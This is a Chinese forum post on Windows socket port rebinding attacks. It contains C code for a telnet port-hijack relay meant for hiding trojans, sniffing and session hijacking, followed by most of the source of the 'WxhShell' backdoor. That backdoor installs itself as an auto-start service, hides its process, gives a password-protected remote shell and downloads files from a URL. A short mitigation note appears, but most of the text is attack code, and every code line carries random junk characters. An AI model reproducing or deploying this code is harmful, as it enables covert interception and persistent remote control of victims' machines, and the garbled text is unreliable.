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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hHw1<! M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;/m>c{  
"OUY^ cM  
  saddr.sin_family = AF_INET; X+emJ&Z$@  
'%Oo1:wJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $?: -A  
RToX[R;1E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0=`aXb-  
z}5'TV=^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0_y&9Te  
PK?}hz  
  这意味着什么?意味着可以进行如下的攻击: D0f7I:i1  
S#+ _HFUK{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .*EP$pc  
*X|%H-Q:H`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'uUa|J1mu  
Jz;`L3m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z SsogAx  
*qMjoP,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k3OnvnJb  
>>J!|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OB,T>o@  
AsZyPybq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a3Z()|t>  
_["97>q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qj*BV  
jq/{|<0  
  #include z9#jXC#OdN  
  #include f}FJR6VO  
  #include EjVB\6,  
  #include    y;9K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NVC$8imip  
  int main() )[sSCt]  
  { #@5 jOi  
  WORD wVersionRequested; 4P24ySy9F  
  DWORD ret; f'Xz4;  
  WSADATA wsaData; ^n]?!BdU  
  BOOL val; 8{Svax(  
  SOCKADDR_IN saddr; I#p-P)Q%S  
  SOCKADDR_IN scaddr; )./'RE+(k  
  int err; A,ao2)  
  SOCKET s; Q([g1?F9*  
  SOCKET sc; v#IZSBvuQK  
  int caddsize; oU 8o;zk0  
  HANDLE mt; Ox/va]e7"  
  DWORD tid;   K&Q0]r?  
  wVersionRequested = MAKEWORD( 2, 2 ); v:j4#pEWD  
  err = WSAStartup( wVersionRequested, &wsaData ); P|)SXR  
  if ( err != 0 ) { Sag\wKV8  
  printf("error!WSAStartup failed!\n"); VHws9)  
  return -1; ]Otl(\v(h  
  } \=~<I  
  saddr.sin_family = AF_INET; gwF@'Uu  
   !lB,2_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q%^gG03.  
}W%}_UT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U(qM( E  
  saddr.sin_port = htons(23); z<P#dj x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xhMdn3~U  
  { 2I39fZa  
  printf("error!socket failed!\n"); ?Z7C0u#wd  
  return -1; 8c$IsvJg  
  } & l|B>{4v  
  val = TRUE; r>q`# ~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8i"{GGVC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J.`.lQ$z  
  { *XzUqK  
  printf("error!setsockopt failed!\n"); u09OnP\  
  return -1; kp;MNRc  
  } Z#W`0G>'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L,X6L @Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9k"nx ,"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #wm)e)2@  
bmddh2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]X _&  
  { j({L6</x  
  ret=GetLastError(); Ap>n4~  
  printf("error!bind failed!\n"); !! K=v7M  
  return -1; ,|c_l)  
  } ~d5{Q?T)  
  listen(s,2); sQH.}W$C  
  while(1) )d1,}o  
  { j+ys&pDczm  
  caddsize = sizeof(scaddr); XJ NKM~  
  //接受连接请求 ,wEM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {k]VT4/  
  if(sc!=INVALID_SOCKET) `RzM)ILl  
  { :3Jh f$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 \WdA$Wx  
  if(mt==NULL) >) :d38M  
  { bo"I:)n;  
  printf("Thread Creat Failed!\n"); Tp6ysjao  
  break; },L[bDOV07  
  } f!I e  
  } r#~6FpFVK^  
  CloseHandle(mt); a:]yFi:Su  
  } Zj<T#4?8  
  closesocket(s); Q\z*q,^R  
  WSACleanup(); |Z/ySAFM  
  return 0; &boBu^,94  
  }   q.X-2jjpx:  
  DWORD WINAPI ClientThread(LPVOID lpParam) (6+0U1[Iz  
  { tE>:kx0*3  
  SOCKET ss = (SOCKET)lpParam; J8D-a!  
  SOCKET sc; QBo^{],  
  unsigned char buf[4096]; tr}$82Po  
  SOCKADDR_IN saddr; gddGl=rm  
  long num; pV+;/y_  
  DWORD val; Kj>_XaFCg!  
  DWORD ret; 8ksDXf`.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V!=]a^]:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eK@Y] !lz  
  saddr.sin_family = AF_INET; p5'\< gQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u60l-  
  saddr.sin_port = htons(23); %~[F^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - |'wDf?H  
  { 1f:k:Y9i  
  printf("error!socket failed!\n"); vT~a}  
  return -1; =w5w=qB  
  } rYqvG  
  val = 100; 33C#iR1(WJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lqs_7HhvRS  
  { /4 f;Niem  
  ret = GetLastError(); 8| /YxF<  
  return -1; x/<. ?[A  
  } C!P6Z10+j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5-QXvw(TH  
  { ~!OjdE!u  
  ret = GetLastError(); -|kDa1knA  
  return -1; WQ]pg "  
  } ] ge-b\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `F@yZ4L3S  
  { /P%:u0fX,  
  printf("error!socket connect failed!\n"); I R&u55#I6  
  closesocket(sc); s'^#[%EgB  
  closesocket(ss); &Hqu`A/^  
  return -1; Lsz`nD5  
  } a`uT'g[*  
  while(1) \CGcP  
  { 1XKk~G"D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Sm,$~~iq}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xl^'U/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZjK~s)RC  
  num = recv(ss,buf,4096,0); 90!Ib~7zH  
  if(num>0) Z-?9F`}  
  send(sc,buf,num,0); 3PGyqt(   
  else if(num==0) (!(bysi9  
  break; F*=RP$sj  
  num = recv(sc,buf,4096,0); B+LNDnjO]  
  if(num>0) V_kE"W)  
  send(ss,buf,num,0); sFTIRVXN,  
  else if(num==0) Y(f-e,  
  break; xd3  
  } 2o/`8+eJu  
  closesocket(ss); Fqv5WoYVf  
  closesocket(sc); F8I <4S  
  return 0 ; [8w2U%}]  
  } YB|9k)Z2[  
kes'q8k  
$%-?S]6)  
========================================================== Ymu=G3-  
11sW$@xs 9  
下边附上一个代码,,WXhSHELL $\ '\@3o  
a6d KQ3D  
========================================================== I'C ,'  
:Eyv==  
#include "stdafx.h" d8#j@='a*  
Q/9b'^UJ  
#include <stdio.h> [}p.*U_nw  
#include <string.h> @gc"-V*-/  
#include <windows.h> EoeEg,'~F  
#include <winsock2.h> EiUV?Gvz  
#include <winsvc.h> P$Q&xN<#)  
#include <urlmon.h> w$4Lu"N :  
*@nUas 2"  
#pragma comment (lib, "Ws2_32.lib") $EIkk= z  
#pragma comment (lib, "urlmon.lib") =.a ]?&Yyh  
M6sDtL9l  
#define MAX_USER   100 // 最大客户端连接数 s|'L0` <B  
#define BUF_SOCK   200 // sock buffer (/U1J  
#define KEY_BUFF   255 // 输入 buffer @\?f77Of6  
+IYSWR  
#define REBOOT     0   // 重启 sh2bhv]  
#define SHUTDOWN   1   // 关机 [\1l4C  
#Au&2_O  
#define DEF_PORT   5000 // 监听端口 6]S.1BP  
"_j7kYAl  
#define REG_LEN     16   // 注册表键长度 U^&Cvxc[[  
#define SVC_LEN     80   // NT服务名长度 #8jd,I% L  
3)a29uc:U  
// 从dll定义API ltR^IiA}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <4,?lZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }o- P   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8B/9{8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  /GUuu  
(xed(uFEK  
// wxhshell配置信息 w ZAXfNA  
struct WSCFG { ~0|hobk  
  int ws_port;         // 监听端口 2\de |'  
  char ws_passstr[REG_LEN]; // 口令 ~*Qpv&y)  
  int ws_autoins;       // 安装标记, 1=yes 0=no x["  
  char ws_regname[REG_LEN]; // 注册表键名 nif' l/@"  
  char ws_svcname[REG_LEN]; // 服务名 ^E17_9?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,IE0+!I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,v_r$kh^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y;Gm,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YPnJldVn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u0b-JJ7)BQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sEyl\GL  
S45>f(!  
}; 5i#w:O\cz  
^^l"brPa  
// default Wxhshell configuration 9G+rxyWMW  
struct WSCFG wscfg={DEF_PORT, D:tZiS=0  
    "xuhuanlingzhe", o q)"1  
    1, V&v~kzLr+  
    "Wxhshell", W2qQKv  
    "Wxhshell", wlg#c6#q  
            "WxhShell Service",  22~X~=  
    "Wrsky Windows CmdShell Service", w tLM c  
    "Please Input Your Password: ", GQq'~Lr5  
  1,  LB7I`W  
  "http://www.wrsky.com/wxhshell.exe", [)>8z8'f  
  "Wxhshell.exe" LW5ggU/  
    }; $]JIA|  
Eo&qc 17)`  
// 消息定义模块 ,D,f9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y|{?>3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \'Kj.EO{?$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :-" jK w  
char *msg_ws_ext="\n\rExit."; z|)1l`  
char *msg_ws_end="\n\rQuit."; [Od9,XBa  
char *msg_ws_boot="\n\rReboot..."; .fY<"2g  
char *msg_ws_poff="\n\rShutdown..."; l>Ja[`X@  
char *msg_ws_down="\n\rSave to "; 4^_Au^8R(  
9?chCO(@  
char *msg_ws_err="\n\rErr!"; .MARF  
char *msg_ws_ok="\n\rOK!"; _4B iF?1  
xGv,%'u\  
char ExeFile[MAX_PATH]; 6F/ OlK<  
int nUser = 0; jYID44$  
HANDLE handles[MAX_USER]; yc=#Jn?S  
int OsIsNt; q<[ke   
}IkEyJsk  
SERVICE_STATUS       serviceStatus; h_G Bx|c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W;]U P$5l  
./y[<e  
// 函数声明 ]V^.!=gh$  
int Install(void); Prz +kPP  
int Uninstall(void); {}&f\6OI%  
int DownloadFile(char *sURL, SOCKET wsh); Z;SG<  
int Boot(int flag); ^i)Q CDU7  
void HideProc(void); L00 ;rTs>  
int GetOsVer(void); J*KBG2+13  
int Wxhshell(SOCKET wsl); Tc5OI'-V  
void TalkWithClient(void *cs); 3l(;Pt-yI  
int CmdShell(SOCKET sock); ,h.Jfo54,  
int StartFromService(void); yi-"hT`  
int StartWxhshell(LPSTR lpCmdLine); A<X :K nl  
j{Jc6U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZfCr"aL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gdFoTcHgO|  
NG!cEo:2aa  
// 数据结构和表定义 3nC#$L-   
SERVICE_TABLE_ENTRY DispatchTable[] = #r^@*<{^  
{ pjs9b%.  
{wscfg.ws_svcname, NTServiceMain}, !2U7gVt"*  
{NULL, NULL} ?WtG|w  
}; @j2*.ee  
HT=Am  
// 自我安装 Yn]y d1  
int Install(void) P| P fG=  
{ Iki+5  
  char svExeFile[MAX_PATH]; ) a\DS yr  
  HKEY key; #0<y0uJ(y  
  strcpy(svExeFile,ExeFile); _.*4Y  
:Z]hI+7  
// 如果是win9x系统,修改注册表设为自启动 K-k.=6mS  
if(!OsIsNt) { <bXWkj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S]%U]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dw/Gha/  
  RegCloseKey(key); \R>5F\ 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DEp%\sj?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lJ]\  
  RegCloseKey(key); .Jat^iFj0  
  return 0; Q()RO*9  
    } -1r & s  
  } QD;f~fZ  
} (6#yw`\  
else { H0b6ZA%n  
ivUsMhx>S,  
// 如果是NT以上系统,安装为系统服务 !0csNg!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K9O,7h:x  
if (schSCManager!=0) FDd>(!>  
{ E<#4G9O<  
  SC_HANDLE schService = CreateService ZR-s{2sl  
  ( CBnouKc:  
  schSCManager, .Lr)~  
  wscfg.ws_svcname, G<^]0`"+)t  
  wscfg.ws_svcdisp, :UDn^ (#  
  SERVICE_ALL_ACCESS, 0B$7S,2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~UJu @M  
  SERVICE_AUTO_START, <,4R2'  
  SERVICE_ERROR_NORMAL, vXM/nw|5  
  svExeFile, fov=Yd!  
  NULL, +x9"#0|k;  
  NULL, Q#ZD&RZ9.  
  NULL, yK%GsCJd:  
  NULL, <X I35\^  
  NULL 4>"cc@8&~  
  ); 4lh   
  if (schService!=0) p-'6_\F.Ke  
  { NzeI/f3K5  
  CloseServiceHandle(schService); Y:"v=EhB  
  CloseServiceHandle(schSCManager); ]D) 'I`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m!#)JFe67  
  strcat(svExeFile,wscfg.ws_svcname); M$]O=2h+2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Neo^C_[vN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KIAe36.~  
  RegCloseKey(key); ldCKSWIi-  
  return 0; e9Ul A  
    } Il^ \3T+  
  } BvZ^^IUb  
  CloseServiceHandle(schSCManager); <` p75B  
} APtselC  
} 7tfivIj)e  
ueE?"Hk  
return 1; 4/`h@]8P  
} A M1C $  
4I#eC#"  
// 自我卸载 mj(&`HRs4  
int Uninstall(void) Mi/ &$" =  
{ ]Ic?:lKN  
  HKEY key; :Hf0Qx6  
4$?w D <  
if(!OsIsNt) { zOao&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { inPdV9  
  RegDeleteValue(key,wscfg.ws_regname); =(|xU?OL  
  RegCloseKey(key); C7jc6(> m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JwI`"$ > w  
  RegDeleteValue(key,wscfg.ws_regname); ;la#Vf:]  
  RegCloseKey(key); .?i-rTF:  
  return 0; AJ#m6`M+EK  
  } ] [HGzHA  
} E/dO7I`B   
} g* \P6  
else { jr[<i\!  
|,1bkJt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); da00p-U  
if (schSCManager!=0) }dd k}wga  
{ sk7rU+<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uK;K{  
  if (schService!=0) |YE,) kiF  
  { G+hF [b44'  
  if(DeleteService(schService)!=0) { Q_QKm0!  
  CloseServiceHandle(schService); >St. &#c  
  CloseServiceHandle(schSCManager); f E.L  
  return 0; s,$Z ("B  
  } WG8iTVwx  
  CloseServiceHandle(schService); y7M:b Uh  
  } ?y>Y$-v/C  
  CloseServiceHandle(schSCManager); `\/toddUh[  
} Y(hW(bd;  
} l- 1]w$ y  
SY$J+YBLM  
return 1; r)6uX  
} M q^|M~  
%Le:wC  
// 从指定url下载文件 UK"}}nO@e  
int DownloadFile(char *sURL, SOCKET wsh) ':!3jZP"m  
{ b(}Gm@#  
  HRESULT hr; ^nHB1"OCV  
char seps[]= "/"; XDpfpJ,z"}  
char *token; n%0]V Xx#  
char *file; 2/v35| ?  
char myURL[MAX_PATH]; 6Iv(  
char myFILE[MAX_PATH]; 2ec$xms  
tLD~  
strcpy(myURL,sURL); *t#s$Ga  
  token=strtok(myURL,seps); poXLy/K  
  while(token!=NULL) @%EE0)IA  
  { XOysgX0g  
    file=token; gf68iR.Gs  
  token=strtok(NULL,seps); HDF!`  
  } o%Be0~n'  
AezvBY0'`z  
GetCurrentDirectory(MAX_PATH,myFILE); ~|CJsD/  
strcat(myFILE, "\\"); F-BJe]  
strcat(myFILE, file); N+CXOI=6x  
  send(wsh,myFILE,strlen(myFILE),0); NI5]Nz<?  
send(wsh,"...",3,0); >H0) ph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F>~ xzc  
  if(hr==S_OK) 2E`~ qn  
return 0; U,Z"G1^  
else hWq. #e 6  
return 1; j>0<#SYBu  
?w+ QbT  
} QP6z?j.  
 ?YqJ.F;  
// 系统电源模块 w`c0a&7  
int Boot(int flag) \4h>2y  
{ K-J|/eB  
  HANDLE hToken; V19e>  
  TOKEN_PRIVILEGES tkp; UGhW0X3k  
(;;J,*NP  
  if(OsIsNt) { pOqGAD{D$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .M DYGWKt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nE/=:{~Ws  
    tkp.PrivilegeCount = 1; uy/y wm/?=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .A3DFm3t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gw_|C|!P  
if(flag==REBOOT) { p= !#],[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `9.dgV  
  return 0; I2TD.wuIW  
} mD9STuA$H  
else { 79)A%@YHQQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B0f_kH~p~  
  return 0; "'['(e+7  
} :{[<g](  
  } u5Qp/ag?N  
  else { `S"W8_m  
if(flag==REBOOT) { M[ x_#m|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zxg1M  
  return 0; ds- yif6   
} m)s xotgXf  
else { c{1V.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p/r~n'g$  
  return 0; y L*LJ  
} \r)%R5_CQ  
} hP?7zz$*j  
7^ 4jcfJH  
return 1; g[/^cJHQ  
} O$a#2p&  
}l~]b3@qu  
// win9x进程隐藏模块 %$Aqbd  
void HideProc(void) t,RyeS/  
{ ./$ <J6-J  
q1H=/[a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 53B.2 4Tm  
  if ( hKernel != NULL ) S[v Rw]*  
  { JW=uK$sO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yt -W1vl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @4;&hP2Z:  
    FreeLibrary(hKernel); @gNpJB]V  
  } ~eDI$IO  
:Df)"~/mO+  
return; x_yF|]aI!  
} A:/}`  
hQXxG/yFm  
// 获取操作系统版本 / T ,zZ9=  
int GetOsVer(void) z VdKYs i^  
{ l1&5uwuF  
  OSVERSIONINFO winfo; 4<u;a46Z#M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DlDB=N0@S  
  GetVersionEx(&winfo); MFv Si  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VSh!4z1  
  return 1; bZiyapM  
  else +4Q[N;[+*  
  return 0; XTV0Le\f  
} &`\ep9  
;TtaH  
// 客户端句柄模块 XJUEwX  
int Wxhshell(SOCKET wsl) b7bSTFZxC  
{ bZ/ hgqS  
  SOCKET wsh; h0|[etaf  
  struct sockaddr_in client; V{!lk]p}a  
  DWORD myID; TZ'aNcGg  
^]VcxKUJ  
  while(nUser<MAX_USER) m$?.Yig?  
{ B~?c3:6  
  int nSize=sizeof(client); *|oPxQCtK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {gsW(T>)  
  if(wsh==INVALID_SOCKET) return 1; 3!aEClRtq  
?9p$XG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =c&62;O  
if(handles[nUser]==0) ^uhxURF  
  closesocket(wsh); S/VA~,KCe;  
else Q\|18wkW  
  nUser++; 6J\q`q(W(  
  } Lx%:t YZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HcA[QBh  
[<yz)<<  
  return 0; PB+\jj  
} 5C B%=iL{  
g92dw<$>  
// 关闭 socket Hq?&Qo  
void CloseIt(SOCKET wsh) u#FXW_-TK  
{ VgA48qZ  
closesocket(wsh); 0(8gQ 2n  
nUser--; DcN"=Y  
ExitThread(0); ;u,rtEMy;  
} _%%yV  
FuuS"G,S  
// 客户端请求句柄 %*jGim~s  
void TalkWithClient(void *cs) : W~f;k  
{ eES'}[W>  
as(*B-_n~  
  SOCKET wsh=(SOCKET)cs; jn^fgH ?  
  char pwd[SVC_LEN]; Oxv+1Ub<Dv  
  char cmd[KEY_BUFF]; G,]z (%  
char chr[1]; bE d?^h  
int i,j; J?IC~5*2  
N!L'W\H,  
  while (nUser < MAX_USER) { Pu..NPl+  
!R74J=#(  
if(wscfg.ws_passstr) { 6 Uw;C84!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NI8~QeGah  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KzG_ <<  
  //ZeroMemory(pwd,KEY_BUFF); uf]Y^,2  
      i=0; E5gl^Q?Z  
  while(i<SVC_LEN) { 7/?DPwbx  
0~]QIdu{AR  
  // 设置超时 'irGvex  
  fd_set FdRead; E_3r[1l  
  struct timeval TimeOut; gLD{1-v  
  FD_ZERO(&FdRead); f*<ps o  
  FD_SET(wsh,&FdRead); c;wA  
  TimeOut.tv_sec=8; MqdB\OW&  
  TimeOut.tv_usec=0; -2 x E#r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &DLhb90  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i=L8=8B`  
j&CZ=?K^c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IBET'!j4"  
  pwd=chr[0]; ufP Cx|x~  
  if(chr[0]==0xd || chr[0]==0xa) { H* /&A9("  
  pwd=0; ({e7U17[#  
  break; ,eXFN?CB  
  } (@q3^)I4  
  i++; )[jy[[K(  
    } g/#~N~&  
YBvd q1  
  // 如果是非法用户,关闭 socket o@3B(j;J`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /UHp [yod  
} ,d cg?48  
)b92yP{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E eB3 }  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $)*xC!@6X  
y9!:^kDI  
while(1) { <tuS,.  
uN bIX:L,  
  ZeroMemory(cmd,KEY_BUFF); {y6C0A*  
5 `=KyHi:b  
      // 自动支持客户端 telnet标准   t77'fm  
  j=0; Ea]T>4  
  while(j<KEY_BUFF) { v459},!P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q]#Z9H  
  cmd[j]=chr[0]; 76u{!\Jo/{  
  if(chr[0]==0xa || chr[0]==0xd) { X$V|+lTk  
  cmd[j]=0; -k{ Jp/-D  
  break; Cs4hgb|  
  } h0Jl_f#Y  
  j++; lw[<STpD;  
    } ([KN*OF  
XG&K32_fs  
  // 下载文件 X NE+(Bt  
  if(strstr(cmd,"http://")) { } 0;Sk(B>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C[8KlD  
  if(DownloadFile(cmd,wsh)) \Y e%o}.{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1lcnRHO  
  else lKWr=k~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <*Ub2B[m  
  } Dm%%e o  
  else { s.:r;%a  
aZKXD! 4  
    switch(cmd[0]) { c'0 5{C  
  J3B.-XJ+n  
  // 帮助 VR4%v9[1  
  case '?': { y|sma;D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {mSJUK?TKl  
    break; 8lwM{?k$  
  } %F J#uQXZ  
  // 安装 fsvYU0L  
  case 'i': { %v4ZGtKC@  
    if(Install()) Tpzw=bC^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wmYvD<  
    else 31}W6l88c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9j#@p   
    break; A[H;WKn0  
    } C9jbv/c  
  // 卸载 0H[LS  
  case 'r': { T~J? AKx  
    if(Uninstall()) ]l[2hy= cV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9e]   
    else }bMWTT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2xTT)9Tq*  
    break; ?@UAL .y  
    } GMm'of#  
  // 显示 wxhshell 所在路径 uV~e|X "9s  
  case 'p': { :woa&(wN;1  
    char svExeFile[MAX_PATH]; <Wy>^<`  
    strcpy(svExeFile,"\n\r"); *]x_,:R6Ow  
      strcat(svExeFile,ExeFile); a)S7}0|R  
        send(wsh,svExeFile,strlen(svExeFile),0); C).2gQ G  
    break; ce'TYkPM  
    } Km*<Kfcz  
  // 重启 lIh[|]  
  case 'b': { ]y LhJ_^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=$ !gC)  
    if(Boot(REBOOT)) bk3Unreh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N7n,_#T>  
    else { U9#WN.noG  
    closesocket(wsh); 5AOfp2O  
    ExitThread(0); 0M8.U  
    } &+r 4  
    break; `^##b6jH  
    } te'*<HM  
  // 关机 |4Ha?W  
  case 'd': { s'L?;:)dyB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a+?~;.i~  
